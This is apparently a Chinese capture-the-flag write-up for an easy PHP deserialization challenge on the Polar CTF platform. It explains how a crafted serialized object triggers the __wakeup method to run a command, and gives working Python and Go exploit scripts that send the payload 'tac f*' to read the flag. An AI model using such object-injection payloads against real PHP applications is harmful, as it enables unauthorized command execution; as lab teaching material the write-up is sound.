Polar Web【简单】PHP反序列化初试
思路
启动环境,显示下图中的PHP代码,于是展开分析:
- 首先发现
Easy
类中有魔术函数__wakeup()
,实现的是对成员变量$name
的回显。- 观察下方发现,
unserialize()
函数将触发该魔术函数的执行,因此考虑构造序列字符串传入该类的成员变量$name
中,以触发命令执行。
- 本题分别使用手动注入和脚本运行两种方式进行解答。
EXP
手动
脚本
Python
import requests
def attack(url, payload):
url += payload
res = (requests.get(url).content.decode('utf8'))
if res:
print(res[res.rindex('flag'):res.rindex('"')])
if __name__ == '__main__':
site = 'http://~.www.polarctf.com:8090/'
pl = '?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:6:"tac f*";s:3:"env";N;}}'
attack(site, pl)
Go
package main
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
)
func attack(url string) {
//fmt.Println("url:", url)
if resp, err := http.Get(url); err != nil {
panic("GET ERR: " + err.Error())
} else {
out, _ := ioutil.ReadAll(resp.Body)
ans := string(out)
fmt.Println(ans[strings.LastIndex(ans, "flag"): strings.LastIndex(ans, "\"")])
}
}
func main() {
baseURL := "http://~.www.polarctf.com:8090/"
// 解析基础 URL
u, err := url.Parse(baseURL)
if err != nil {
panic(err)
}
// 解析查询字符串
q, err := url.ParseQuery(u.RawQuery)
if err != nil {
panic(err)
}
// 添加或更新查询参数
q.Set("easy", "O:4:\"Easy\":1:{s:4:\"name\";O:4:\"Evil\":2:{s:4:\"evil\";s:6:\"tac f*\";s:3:\"env\";N;}}")
// 编码查询字符串
u.RawQuery = q.Encode()
attack(u.String())
}
- !注意 !在Go语言中,为了防止特殊的字符导致URL被截断引发HTTP请求异常,需要对原生URL进行编码处理。
运行&总结
- 本题考查PHP代码分析、反序列化以及序列构造的技巧
- 需要对PHP面向对象设计有所认识